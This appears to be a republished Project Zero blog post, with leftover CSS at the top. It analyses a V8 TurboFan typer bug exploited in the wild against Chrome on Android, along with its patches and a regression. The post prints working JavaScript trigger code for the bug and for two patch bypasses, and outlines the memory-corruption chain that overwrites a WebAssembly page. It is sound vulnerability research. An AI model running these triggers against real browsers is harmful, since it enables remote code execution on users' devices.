"}.lst-kix_6t9upr2rb0pl-2>li:before{content:"" counter(lst-ctn-kix_6t9upr2rb0pl-2,lower-roman) ". "}.lst-kix_6t9upr2rb0pl-3>li:before{content:"" counter(lst-ctn-kix_6t9upr2rb0pl-3,decimal) ". "}.lst-kix_6t9upr2rb0pl-4>li:before{content:"" counter(lst-ctn-kix_6t9upr2rb0pl-4,lower-latin) ". "}.lst-kix_7ta2tcff26n-1>li:before{content:"\0025cb "}.lst-kix_r62im46cu2x7-5>li:before{content:"- "}.lst-kix_r62im46cu2x7-6>li:before{content:"- "}.lst-kix_r62im46cu2x7-7>li:before{content:"- "}.lst-kix_r62im46cu2x7-8>li:before{content:"- "}.lst-kix_6t9upr2rb0pl-1>li:before{content:"" counter(lst-ctn-kix_6t9upr2rb0pl-1,lower-latin) ". "}.lst-kix_6t9upr2rb0pl-0>li:before{content:"" counter(lst-ctn-kix_6t9upr2rb0pl-0,decimal) ". "}ol.lst-kix_4lv7wlgwlzbl-2.start{counter-reset:lst-ctn-kix_4lv7wlgwlzbl-2 0}.lst-kix_gaotlzro2or-0>li:before{content:"\0025cf "}.lst-kix_4lv7wlgwlzbl-0>li:before{content:"" counter(lst-ctn-kix_4lv7wlgwlzbl-0,decimal) ". "}.lst-kix_4lv7wlgwlzbl-6>li:before{content:"" counter(lst-ctn-kix_4lv7wlgwlzbl-6,decimal) ". "}.lst-kix_tjivp5v87ht1-0>li{counter-increment:lst-ctn-kix_tjivp5v87ht1-0}.lst-kix_tjivp5v87ht1-3>li:before{content:"(" counter(lst-ctn-kix_tjivp5v87ht1-3,decimal) ") "}.lst-kix_4lv7wlgwlzbl-2>li:before{content:"" counter(lst-ctn-kix_4lv7wlgwlzbl-2,lower-roman) ". "}.lst-kix_4lv7wlgwlzbl-4>li:before{content:"" counter(lst-ctn-kix_4lv7wlgwlzbl-4,lower-latin) ". "}.lst-kix_tjivp5v87ht1-1>li:before{content:"" counter(lst-ctn-kix_tjivp5v87ht1-1,lower-latin) ") "}.lst-kix_mzny8cu5r6kt-2>li:before{content:"- "}.lst-kix_mzny8cu5r6kt-4>li:before{content:"- "}.lst-kix_mzny8cu5r6kt-6>li:before{content:"- "}.lst-kix_4lv7wlgwlzbl-8>li:before{content:"" counter(lst-ctn-kix_4lv7wlgwlzbl-8,lower-roman) ". "}ol.lst-kix_jag6vffvgbdr-2.start{counter-reset:lst-ctn-kix_jag6vffvgbdr-2 0}ol.lst-kix_4lv7wlgwlzbl-5.start{counter-reset:lst-ctn-kix_4lv7wlgwlzbl-5 0}.lst-kix_g2pmr8uholml-5>li:before{content:"\0025a0 "}.lst-kix_g2pmr8uholml-7>li:before{content:"\0025cb "}ol.lst-kix_6t9upr2rb0pl-2.start{counter-reset:lst-ctn-kix_6t9upr2rb0pl-2 0}.lst-kix_mzny8cu5r6kt-8>li:before{content:"- "}.lst-kix_ok4hk6jho1i2-3>li:before{content:"- "}.lst-kix_g2pmr8uholml-3>li:before{content:"\0025cf "}.lst-kix_ok4hk6jho1i2-1>li:before{content:"- "}.lst-kix_4lv7wlgwlzbl-2>li{counter-increment:lst-ctn-kix_4lv7wlgwlzbl-2}.lst-kix_4lv7wlgwlzbl-8>li{counter-increment:lst-ctn-kix_4lv7wlgwlzbl-8}ol.lst-kix_4lv7wlgwlzbl-4.start{counter-reset:lst-ctn-kix_4lv7wlgwlzbl-4 0}.lst-kix_jag6vffvgbdr-4>li{counter-increment:lst-ctn-kix_jag6vffvgbdr-4}.lst-kix_g2pmr8uholml-1>li:before{content:"\0025cb "}.lst-kix_mzny8cu5r6kt-0>li:before{content:"- "}.lst-kix_tjivp5v87ht1-5>li{counter-increment:lst-ctn-kix_tjivp5v87ht1-5}.lst-kix_tjivp5v87ht1-7>li:before{content:"" counter(lst-ctn-kix_tjivp5v87ht1-7,lower-latin) ". "}.lst-kix_gaotlzro2or-8>li:before{content:"\0025a0 "}ol.lst-kix_6t9upr2rb0pl-1.start{counter-reset:lst-ctn-kix_6t9upr2rb0pl-1 0}ol.lst-kix_4lv7wlgwlzbl-3.start{counter-reset:lst-ctn-kix_4lv7wlgwlzbl-3 0}{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}.lst-kix_tjivp5v87ht1-5>li:before{content:"(" counter(lst-ctn-kix_tjivp5v87ht1-5,lower-roman) ") "}.lst-kix_gaotlzro2or-4>li:before{content:"\0025cb "}.lst-kix_gaotlzro2or-2>li:before{content:"\0025a0 "}.lst-kix_gaotlzro2or-6>li:before{content:"\0025cf "}.lst-kix_6t9upr2rb0pl-5>li{counter-increment:lst-ctn-kix_6t9upr2rb0pl-5}ol.lst-kix_jag6vffvgbdr-0.start{counter-reset:lst-ctn-kix_jag6vffvgbdr-0 0}ol{margin:0;padding:0}table td,table th{padding:0}.c28{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#e0e0e0;border-bottom-style:solid}.c26{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#f5f5f5;border-top-width:0pt;border-right-width:0pt;border-left-color:#f5f5f5;vertical-align:top;border-right-color:#f5f5f5;border-left-width:0pt;border-top-style:solid;border-left-style:solid;border-bottom-width:0pt;width:63pt;border-top-color:#f5f5f5;border-bottom-style:solid}.c24{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#f5f5f5;border-top-width:0pt;border-right-width:0pt;border-left-color:#f5f5f5;vertical-align:top;border-right-color:#f5f5f5;border-left-width:0pt;border-top-style:solid;border-left-style:solid;border-bottom-width:0pt;width:27pt;border-top-color:#f5f5f5;border-bottom-style:solid}.c31{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#f5f5f5;border-top-width:0pt;border-right-width:0pt;border-left-color:#f5f5f5;vertical-align:top;border-right-color:#f5f5f5;border-left-width:0pt;border-top-style:solid;border-left-style:solid;border-bottom-width:0pt;width:18pt;border-top-color:#f5f5f5;border-bottom-style:solid}.c27{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#f5f5f5;border-top-width:0pt;border-right-width:0pt;border-left-color:#f5f5f5;vertical-align:top;border-right-color:#f5f5f5;border-left-width:0pt;border-top-style:solid;border-left-style:solid;border-bottom-width:0pt;width:65.2pt;border-top-color:#f5f5f5;border-bottom-style:solid}.c40{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#f5f5f5;border-top-width:0pt;border-right-width:0pt;border-left-color:#f5f5f5;vertical-align:top;border-right-color:#f5f5f5;border-left-width:0pt;border-top-style:solid;border-left-style:solid;border-bottom-width:0pt;width:18.8pt;border-top-color:#f5f5f5;border-bottom-style:solid}.c0{margin-left:36pt;padding-top:0pt;padding-left:0pt;padding-bottom:0pt;line-height:1.15;orphans:2;widows:2;text-align:left}.c20{padding-top:16pt;padding-bottom:4pt;line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}.c4{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.c33{background-color:#ffffff;color:#545454;font-weight:400;font-size:11pt;font-family:"Arial"}.c5{font-size:10pt;font-family:"Consolas";color:#455a64;font-weight:400}.c21{border-spacing:0;border-collapse:collapse;margin-right:auto}.c2{font-size:10pt;font-family:"Consolas";color:#616161;font-weight:400}.c14{font-size:10pt;font-family:"Consolas";color:#9c27b0;font-weight:400}.c13{font-size:10pt;font-family:"Consolas";color:#c53929;font-weight:400}.c16{color:#000000;font-weight:400;font-size:10pt;font-family:"Courier New"}.c30{padding-top:0pt;padding-bottom:0pt;line-height:1.25;text-align:left}.c23{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.c37{color:#000000;font-weight:400;font-size:11pt;font-family:"Arial"}.c15{font-size:10pt;font-family:"Consolas";color:#0f9d58;font-weight:400}.c7{padding-top:0pt;padding-bottom:0pt;line-height:1.15;text-align:left}.c38{color:#000000;font-weight:400;font-size:10pt;font-family:"Arial"}.c9{font-size:10pt;font-family:"Consolas";color:#3367d6;font-weight:400}.c18{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.c12{color:#434343;font-weight:400;font-size:14pt;font-family:"Arial"}.c1{font-size:10pt;font-family:"Consolas";color:#000000;font-weight:400}.c41{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.c29{background-color:#ffffff;font-style:italic;color:#545454}.c11{orphans:2;widows:2;height:11pt}.c35{text-decoration:none;vertical-align:baseline;font-style:italic}.c8{text-decoration:none;vertical-align:baseline;font-style:normal}.c22{orphans:2;widows:2}.c3{padding:0;margin:0}.c6{color:inherit;text-decoration:inherit}.c17{font-weight:400;font-family:"Courier New"}.c32{background-color:#ffffff;font-style:italic}.c39{color:#000000;font-size:11pt}.c19{height:0pt}.c36{font-weight:700}.c10{height:21.8pt}.c42{font-style:italic}.c34{margin-left:36pt}.c25{height:11pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}

This is part 2 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the introduction post.

Posted by Sergei Glazunov, Project Zero

This post only covers one of the exploits, specifically a renderer exploit targeting Chrome 73-78 on Android. We use it as an opportunity to talk about an interesting vulnerability class in Chrome’s JavaScript engine.

Brief introduction to typer bugs

One of the features that make JavaScript code especially difficult to optimize is the dynamic type system. Even for a trivial expression like a + b the engine has to support a multitude of cases depending on whether the parameters are numbers, strings, booleans, objects, etc. JIT compilation wouldn’t make much sense if the compiler always had to emit machine code that could handle every possible type combination for every JS operation. Chrome’s JavaScript engine, V8, tries to overcome this limitation through type speculation. During the first several invocations of a JavaScript function, the interpreter records the type information for various operations such as parameter accesses and property loads. If the function is later selected to be JIT compiled, TurboFan, which is V8’s newest compiler, makes an assumption that the observed types will be used in all subsequent calls, and propagates the type information throughout the whole function graph using the set of rules derived from the language specification. For example: if at least one of the operands to the addition operator is a string, the output is guaranteed to be a string as well; Math.random() always returns a number; and so on. The compiler also puts runtime checks for the speculated types that trigger deoptimization (i.e., revert to execution in the interpreter and update the type feedback) in case one of the assumptions no longer holds.

For integers, V8 goes even further and tracks the possible range of nodes. The main reason behind that is that even though the ECMAScript specification defines Number as the 64-bit floating point type, internally, TurboFan always tries to use the most efficient representation possible in a given context, which could be a 64-bit integer, 31-bit tagged integer, etc. Range information is also employed in other optimizations. For example, the compiler is smart enough to figure out that in the following code snippet, the branch can never be taken and therefore eliminate the whole if statement:

a = Math.min(a, 1);

if (a > 2) {

  return 3;


Now, imagine there’s an issue that makes TurboFan believe that the function vuln() returns a value in the range [0; 2] whereas its actual range is [0; 4]. Consider the code below:

a = vuln(a);

let array = [1, 2, 3];

return array[a];

If the engine has never encountered an out-of-bounds access attempt while running the code in the interpreter, it will instruct the compiler to transform the last line into a sequence that at a certain optimization phase, can be expressed by the following pseudocode:

if (a >= array.length) {



let elements = array.[[elements]];

return elements.get(a);

get() acts as a C-style element access operation and performs no bounds checks. In subsequent optimization phases the compiler will discover that, according to the available type information, the length check is redundant and eliminate it completely. Consequently, the generated code will be able to access out-of-bounds data.

The bug class outlined above is the main subject of this blog post; and bounds check elimination is the most popular exploitation technique for this class. A textbook example of such a vulnerability is the off-by-one issue in the typer rule for String.indexOf found by Stephen Röttger.

A typer vulnerability doesn’t have to immediately result in an integer range miscalculation that would lead to OOB access because it’s possible to make the compiler propagate the error. For example, if vuln() returns an unexpected boolean value, we can easily transform it into an unexpected integer:

a = vuln(a); // predicted = false; actual = true

a = a * 10;  // predicted = 0; actual = 10

let array = [1, 2, 3];

return array[a];

Another notable bug report by Stephen demonstrates that even a subtle mistake such as omitting negative zero can be exploited in the same fashion.

At a certain point, this vulnerability class became extremely popular as it immediately provided an attacker with an enormously powerful and reliable exploitation primitive. Fellow Project Zero member Mark Brand has used it in his full-chain Chrome exploit. The bug class has made an appearance at several CTFs and exploit competitions. As a result, last year the V8 team issued a hardening patch designed to prevent attackers from abusing bounds check elimination. Instead of removing the checks, the compiler started marking them as “aborting”, so in the worst case the attacker can only trigger a SIGTRAP.

Induction variable analysis

The renderer exploit we’ve discovered takes advantage of an issue in a function designed to compute the type of induction variables. The slightly abridged source code below is taken from the latest affected revision of V8:

Type Typer::Visitor::TypeInductionVariablePhi(Node* node) {


  // We only handle integer induction variables (otherwise ranges

  // do not apply and we cannot do anything).

  if (!initial_type.Is(typer_->cache_->kInteger) ||

      !increment_type.Is(typer_->cache_->kInteger)) {

    // Fallback to normal phi typing, but ensure monotonicity.

    // (Unfortunately, without baking in the previous type,

    // monotonicity might be violated because we might not yet have

    // retyped the incrementing operation even though the increment's

    // type might been already reflected in the induction variable

    // phi.)

    Type type = NodeProperties::IsTyped(node)

                    ? NodeProperties::GetType(node)

                    : Type::None();

    for (int i = 0; i < arity; ++i) {

      type = Type::Union(type, Operand(node, i), zone());


    return type;


  // If we do not have enough type information for the initial value

  // or the increment, just return the initial value's type.

  if (initial_type.IsNone() ||

      increment_type.Is(typer_->cache_->kSingletonZero)) {

    return initial_type;



  InductionVariable::ArithmeticType arithmetic_type =


  double min = -V8_INFINITY;

  double max = V8_INFINITY;

  double increment_min;

  double increment_max;

  if (arithmetic_type ==

      InductionVariable::ArithmeticType::kAddition) {

    increment_min = increment_type.Min();

    increment_max = increment_type.Max();

  } else {



    increment_min = -increment_type.Max();

    increment_max = -increment_type.Min();


  if (increment_min >= 0) {

    // increasing sequence

    min = initial_type.Min();

    for (auto bound : induction_var->upper_bounds()) {

      Type bound_type = TypeOrNone(bound.bound);

      // If the type is not an integer, just skip the bound.

      if (!bound_type.Is(typer_->cache_->kInteger)) continue;

      // If the type is not inhabited, then we can take the initial

      // value.

      if (bound_type.IsNone()) {

        max = initial_type.Max();



      double bound_max = bound_type.Max();

      if (bound.kind == InductionVariable::kStrict) {

        bound_max -= 1;


      max = std::min(max, bound_max + increment_max);


    // The upper bound must be at least the initial value's upper

    // bound.

    max = std::max(max, initial_type.Max());

  } else if (increment_max <= 0) {

    // decreasing sequence


  } else {

    // Shortcut: If the increment can be both positive and negative,

    // the variable can go arbitrarily far, so just return integer.

    return typer_->cache_->kInteger;



  return Type::Range(min, max, typer_->zone());


Now, imagine the compiler processing the following JavaScript code:

for (var i = initial; i < bound; i += increment) { [...] }

In short, when the loop has been identified as increasing, the lower bound of initial becomes the lower bound of i, and the upper bound is calculated as the sum of the upper bounds of bound and increment. There’s a similar branch for decreasing loops, and a special case for variables that can be both increasing and decreasing. The loop variable is named phi in the method because TurboFan operates on an intermediate representation in the static single assignment form.

Note that the algorithm only works with integers, otherwise a more conservative estimation method is applied. However, in this context an integer refers to a rather special type, which isn’t bound to any machine integer type and can be represented as a floating point value in memory. The type holds two unusual properties that have made the vulnerability possible:

  • +Infinity and -Infinity belong to it, whereas NaN and -0 don’t.
  • The type is not closed under addition, i.e., adding two integers doesn’t always result in an integer. Namely, +Infinity + -Infinity yields NaN.

Thus, for the following loop the algorithm infers (-Infinity; +Infinity) as the induction variable type, while the actual value after the first iteration of the loop will be NaN:

for (var i = -Infinity; i < 0; i += Infinity) { }

This one line is enough to trigger the issue. The exploit author has had to make only two minor changes: (1) parametrize increment in order to make the value of i match the future inferred type during initial invocations in the interpreter and (2) introduce an extra variable to ensure the loop eventually ends. As a result, after deobfuscation, the relevant part of the trigger function looks as follows:

function trigger(argument) {

  var j = 0;

  var increment = 100;

  if (argument > 2) {

    increment = Infinity;


  for (var i = -Infinity; i <= -Infinity; i += increment) {


    if (j == 20) {





The resulting type mismatch, however, doesn’t immediately let the attacker run arbitrary code. Given that the previously widely used bounds check elimination technique is no longer applicable, we were particularly interested to learn how the attacker approached exploiting the issue.


The trigger function continues with a series of operations aimed at transforming the type mismatch into an integer range miscalculation, similarly to what would follow in the previous technique, but with the additional requirement that the computed range must be narrowed down to a single number. Since the discovered exploit targets mobile devices, the exact instruction sequence used in the exploit only works for ARM processors. For the ease of the reader, we've modified it to be compatible with x64 as well.


  // The comments display the current value of the variable i, the type

  // inferred by the compiler, and the machine type used to store

  // the value at each step.

  // Initially:

  // actual = NaN, inferred = (-Infinity, +Infinity)

  // representation = double

  i = Math.max(i, 0x100000800);

  // After step one:

  // actual = NaN, inferred = [0x100000800; +Infinity)

  // representation = double

  i = Math.min(0x100000801, i);

  // After step two:

  // actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]

  // representation = int64_t

  i -= 0x1000007fa;

  // After step three:

  // actual = -2042, inferred = [6, 7]

  // representation = int32_t

  i >>= 1;

  // After step four:

  // actual = -1021, inferred = 3

  // representation = int32_t

  i += 10;

  // After step five:

  // actual = -1011, inferred = 13

  // representation = int32_t


The first notable transformation occurs in step two. TurboFan decides that the most appropriate representation for i at this point is a 64-bit integer as the inferred range is entirely within int64_t, and emits the CVTTSD2SI instruction to convert the double argument. Since NaN doesn’t fit in the integer range, the instruction returns the “indefinite integer value” -0x8000000000000000. In the next step, the compiler determines it can use the even narrower int32_t type. It discards the higher 32-bit word of i, assuming that for the values in the given range it has the same effect as subtracting 0x100000000, and then further subtracts 0x7fa. The remaining two operations are straightforward; however, one might wonder why the attacker couldn’t make the compiler derive the required single-value type directly in step two. The answer lies in the optimization pass called the constant-folding reducer.

Reduction ConstantFoldingReducer::Reduce(Node* node) {

  DisallowHeapAccess no_heap_access;

  if (!NodeProperties::IsConstant(node) && NodeProperties::IsTyped(node) &&

      node->op()->HasProperty(Operator::kEliminatable) &&

      node->opcode() != IrOpcode::kFinishRegion) {

    Node* constant = TryGetConstant(jsgraph(), node);

    if (constant != nullptr) {

      ReplaceWithValue(node, constant);

      return Replace(constant);


If the reducer discovered that the output type of the NumberMin operator was a constant, it would replace the node with a reference to the constant thus eliminating the type mismatch. That doesn’t apply to the SpeculativeNumberShiftRight and SpeculativeSafeIntegerAdd nodes, which represent the operations in steps four and five while the reducer is running, because they both are capable of triggering deoptimization and therefore not marked as eliminable.

Formerly, the next step would be to abuse this mismatch to optimize away an array bounds check. Instead, the attacker makes use of the incorrectly typed value to create a JavaScript array for which bounds checks always pass even outside the compiled function. Consider the following method, which attempts to optimize array constructor calls:

Reduction JSCreateLowering::ReduceJSCreateArray(Node* node) {


} else if (arity == 1) {

  Node* length = NodeProperties::GetValueInput(node, 2);

  Type length_type = NodeProperties::GetType(length);

  if (!length_type.Maybe(Type::Number())) {

    // Handle the single argument case, where we know that the value

    // cannot be a valid Array length.

    elements_kind = GetMoreGeneralElementsKind(

        elements_kind, IsHoleyElementsKind(elements_kind)

                           ? HOLEY_ELEMENTS

                           : PACKED_ELEMENTS);

    return ReduceNewArray(node, std::vector<Node*>{length}, *initial_map,

                          elements_kind, allocation,



  if (length_type.Is(Type::SignedSmall()) && length_type.Min() >= 0 &&

      length_type.Max() <= kElementLoopUnrollLimit &&

      length_type.Min() == length_type.Max()) {

    int capacity = static_cast<int>(length_type.Max());

    return ReduceNewArray(node, length, capacity, *initial_map,

                          elements_kind, allocation,



When the argument is known to be an integer constant less than 16, the compiler inlines the array creation procedure and unrolls the element initialization loop. ReduceJSCreateArray doesn’t rely on the constant-folding reducer and implements its own less strict equivalent that just compares the upper and lower bounds of the inferred type. Unfortunately, even after folding the function keeps using the original argument node. The folded value is employed during initialization of the backing store while the length property of the array is set to the original node. This means that if we pass the value we obtained at step five to the constructor, it will return an array with the negative length and backing store that can fit 13 elements. Given that bounds checks are implemented as unsigned comparisons, the сrafted array will allow us to access data well past its end. In fact, any positive value bigger than its predicted version would work as well.

The rest of the trigger function is provided below:


  corrupted_array = Array(i);

  corrupted_array[0] = 1.1;

  ptr_leak_array = [wasm_module, array_buffer, [...],

                    wasm_module, array_buffer]; 

  extra_array = [13.37, [...], 13.37, 1.234]; 

  return [corrupted_array, ptr_leak_array, extra_array];


The attacker forces TurboFan to put the data required for further exploitation right next to the corrupted array and to use the double element type for the backing store as it’s the most convenient type for dealing with out-of-bounds data in the V8 heap.

From this point on, the exploit follows the same algorithm that public V8 exploits have been following for several years:

  1. Locate the required pointers and object fields through pattern-matching.
  2. Construct an arbitrary memory access primitive using an extra JavaScript array and ArrayBuffer.
  3. Follow the pointer chain from a WebAssembly module instance to locate a writable and executable memory page.
  4. Overwrite the body of a WebAssembly function inside the page with the attacker’s payload.
  5. Finally, execute it.

The contents of the payload, which is about half a megabyte in size, will be discussed in detail in a subsequent blog post.

Given that the vast majority of Chrome exploits we have seen at Project Zero come from either exploit competitions or VRP submissions, the most striking difference this exploit has demonstrated lies in its focus on stability and reliability. Here are some examples. Almost the entire exploit is executed inside a web worker, which means it has a separate JavaScript environment and runs in its own thread. This greatly reduces the chance of the garbage collector causing an accidental crash due to the inconsistent heap state. The main thread part is only responsible for restarting the worker in case of failure and passing status information to the attacker’s server. The exploit attempts to further reduce the time window for GC crashes by ensuring that every corrupted field is restored to the original value as soon as possible. It also employs the OOB access primitive early on to verify the processor architecture information provided in the user agent header. Finally, the author has clearly aimed to keep the number of hard-coded constants to a minimum. Despite supporting a wide range of Chrome versions, the exploit relies on a single version-dependent offset, namely, the offset in the WASM instance to the executable page pointer.

Patch 1

Even though there’s evidence this vulnerability has been originally used as a 0-day, by the time we obtained the exploit, it had already been fixed. The issue was reported to Chrome by security researchers Soyeon Park and Wen Xu in November 2019 and was assigned CVE-2019-13764. The proof of concept provided in the report is shown below:

function write(begin, end, step) {

  for (var i = begin; i >= end; i += step) {

    step = end - begin;

    begin >>>= 805306382;



var buffer = new ArrayBuffer(16384);

var view = new Uint32Array(buffer);

for (let i = 0; i < 10000; i++) {

  write(Infinity, 1, view[65536], 1);


As the reader can see, it’s not the most straightforward way to trigger the issue. The code resembles fuzzer output, and the reporters confirmed that the bug had been found through fuzzing. Given the available evidence, we’re fully confident that it was an independent discovery (sometimes referred to as a "bug collision").

Since the proof of concept could only lead to a SIGTRAP crash, and the reporters hadn’t demonstrated, for example, a way to trigger memory corruption, it was initially considered a low-severity issue by the V8 engineers, however, after an internal discussion, the V8 team raised the severity rating to high.

In the light of the in-the-wild exploitation evidence, we decided to give the fix, which had introduced an explicit check for the NaN case, a thorough examination:


const bool both_types_integer =

    initial_type.Is(typer_->cache_->kInteger) &&


bool maybe_nan = false;

// The addition or subtraction could still produce a NaN, if the integer

// ranges touch infinity.

if (both_types_integer) {

  Type resultant_type =

      (arithmetic_type == InductionVariable::ArithmeticType::kAddition)

          ? typer_->operation_typer()->NumberAdd(initial_type,


          : typer_->operation_typer()->NumberSubtract(initial_type,


  maybe_nan = resultant_type.Maybe(Type::NaN());


// We only handle integer induction variables (otherwise ranges

// do not apply and we cannot do anything).

if (!both_types_integer || maybe_nan) {


The code makes the assumption that the loop variable may only become NaN if the sum or difference of initial and increment is NaN. At first sight, it seems like a fair assumption. The issue arises from the fact that the value of increment can be changed from inside the loop, which isn’t obvious from the exploit but demonstrated in the proof of concept sent to Chrome. The typer takes into account these changes and reflects them in increment’s computed type. Therefore, the attacker can, for example, add negative increment to i until the latter becomes -Infinity, then change the sign of increment and force the loop to produce NaN once more, as demonstrated by the code below:

var increment = -Infinity;

var k = 0;

for (var i = 0; i < 1; i += increment) {

  if (i == -Infinity) {

    increment = +Infinity;


  if (++k > 10) {




Thus, to “revive” the entire exploit, the attacker only needs to change a couple of lines in trigger.

Patch 2

The discovered variant was reported to Chrome in February along with the exploitation technique found in the exploit. This time the patch took a more conservative approach and made the function bail out as soon as the typer detects that increment can be Infinity.


// If we do not have enough type information for the initial value or

// the increment, just return the initial value's type.

if (initial_type.IsNone() ||

    increment_type.Is(typer_->cache_->kSingletonZero)) {

  return initial_type;


// We only handle integer induction variables (otherwise ranges do not

// apply and we cannot do anything). Moreover, we don't support infinities

// in {increment_type} because the induction variable can become NaN

// through addition/subtraction of opposing infinities.

if (!initial_type.Is(typer_->cache_->kInteger) ||

    !increment_type.Is(typer_->cache_->kInteger) ||

    increment_type.Min() == -V8_INFINITY ||

    increment_type.Max() == +V8_INFINITY) {


Additionally, ReduceJSCreateArray was updated to always use the same value for both the  length property and backing store capacity, thus rendering the reported exploitation technique useless.

Unfortunately, the new patch contained an unintended change that introduced another security issue. If we look at the source code of TypeInductionVariablePhi before the patches, we find that it checks whether the type of increment is limited to the constant zero. In this case, it assigns the type of initial to the induction variable. The second patch moved the check above the line that ensures initial is an integer. In JavaScript, however, adding or subtracting zero doesn’t necessarily preserve the type, for example:
















As a result, the patched function provides us with an even wider choice of possible “type confusions”.

It was considered worthwhile to examine how difficult it would be to find a replacement for the ReduceJSCreateArray technique and exploit the new issue. The task turned out to be a lot easier than initially expected because we soon found this excellent blog post written by Jeremy Fetiveau, where he describes a way to bypass the initial bounds check elimination hardening. In short, depending on whether the engine has encountered an out-of-bounds element access attempt during the execution of a function in the interpreter, it instructs the compiler to emit either the CheckBounds or NumberLessThan node, and only the former is covered by the hardening. Consequently, the attacker just needs to make sure that the function attempts to access a non-existent array element in one of the first few invocations.

We find it interesting that even though this equally powerful and convenient technique has been publicly available since last May, the attacker has chosen to rely on their own method. It is conceivable that the exploit had been developed even before the blog post came out.

Once again, the technique requires an integer with a miscalculated range, so the revamped trigger function mostly consists of various type transformations:

function trigger(arg) {

  // Initially:

  // actual = 1, inferred = any

  var k = 0;


  arg = arg | 0;

  // After step one:

  // actual = 1, inferred = [-0x80000000, 0x7fffffff]


  arg = Math.min(arg, 2);

  // After step two:

  // actual = 1, inferred = [-0x80000000, 2]


  arg = Math.max(arg, 1);

  // After step three:

  // actual = 1, inferred = [1, 2]


  if (arg == 1) {

    arg = "30";


  // After step four:

  // actual = string{30}, inferred = [1, 2] or string{30}


  for (var i = arg; i < 0x1000; i -= 0) {

    if (++k > 1) {




  // After step five:

  // actual = number{30}, inferred = [1, 2] or string{30}


  i += 1;

  // After step six:

  // actual = 31, inferred = [2, 3]


  i >>= 1;

  // After step seven:

  // actual = 15, inferred = 1


  i += 2;

  // After step eight:

  // actual = 17, inferred = 3


  i >>= 1;

  // After step nine:

  // actual = 8, inferred = 1

  var array = [0.1, 0.1, 0.1, 0.1];

  return [array[i], array];


The mismatch between the number 30 and string “30” occurs in step five. The next operation is represented by the SpeculativeSafeIntegerAdd node. The typer is aware that whenever this node encounters a non-number argument, it immediately triggers deoptimization. Hence, all non-number elements of the argument type can be ignored. The unexpected integer value, which obviously doesn’t cause the deoptimization, enables us to generate an erroneous range. Eventually, the compiler eliminates the NumberLessThan node, which is supposed to protect the element access in the last line, based on the observed range.

Patch 3

Soon after we had identified the regression, the V8 team landed a patch that removed the vulnerable code branch. They also took a number of additional hardening measures, for example:

  • Extended element access hardening, which now prevents the abuse of NumberLessThan nodes.
  • Discovered and fixed a similar problem with the elimination of MaybeGrowFastElements. Under certain conditions, this node, which may resize the backing store of a given array, is placed before StoreElement to ensure the array can fit the element. Consequently, the elimination of the node could allow an attacker to write data past the end of the backing store.
  • Implemented a verifier for induction variables that validates the computed type against the more conservative regular phi typing.

Furthermore, the V8 engineers have been working on a feature that allows TurboFan to insert runtime type checks into generated code. The feature should make fuzzing for typer issues much more efficient.


This blog post is meant to provide insight into the complexity of type tracking in JavaScript. The number of obscure rules and constraints an engineer has to bear in mind while working on the feature almost inevitably leads to errors, and, quite often even the slightest issue in the typer is enough to build a powerful and reliable exploit.

Also, the reader is probably familiar with the hypothesis of an enormous disparity between the state of public and private offensive security research. The fact that we’ve discovered a rather sophisticated attacker who has exploited a vulnerability in the class that has been under the scrutiny of the wider security community for at least a couple of years suggests that there’s nevertheless a certain overlap. Moreover, we were especially pleased to see a bug collision between a VRP submission and an in-the-wild 0-day exploit.

This is part 2 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To continue reading, see In The Wild Part 3: Chrome Exploits.

Kategorie: Hacking & Security

Introducing the In-the-Wild Series

12 Leden, 2021 - 18:34
